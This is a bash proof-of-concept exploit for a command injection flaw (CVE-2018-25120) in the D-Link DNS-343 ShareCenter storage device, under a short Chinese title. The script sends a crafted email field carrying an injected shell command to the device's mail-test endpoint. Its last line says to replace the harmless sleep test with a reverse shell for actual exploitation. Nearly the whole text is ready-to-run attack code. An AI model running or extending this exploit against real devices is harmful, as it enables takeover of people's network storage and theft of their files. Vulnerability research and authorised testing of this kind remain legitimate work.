CVE-2018-25120 D-Link DNS-343 ShareCenter 命令注入漏洞

#!/bin/bash # CVE-2018-25120 PoC - D-Link DNS-343 Mail Test Command Injection # Target: D-Link DNS-343 ShareCenter with firmware <= 1.05 # Author: VulnCheck # Note: This PoC demonstrates the vulnerability for authorized security testing only TARGET="http://TARGET_IP" # Replace TARGET_IP with the actual IP address of the vulnerable device # Construct malicious payload with command injection # Inject: sleep 5 command to verify vulnerability PAYLOAD="[email protected]; sleep 5; #" # Send exploit request to /goform/Mail_Test endpoint curl -X POST "${TARGET}/goform/Mail_Test" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=${PAYLOAD}&server=smtp.test.com&port=25&[email protected]" \ -w "\nHTTP Status: %{http_code}\n" \ -o /dev/null -s echo "PoC executed. Check if response is delayed by 5 seconds." echo "For actual exploitation, replace 'sleep 5' with reverse shell payload."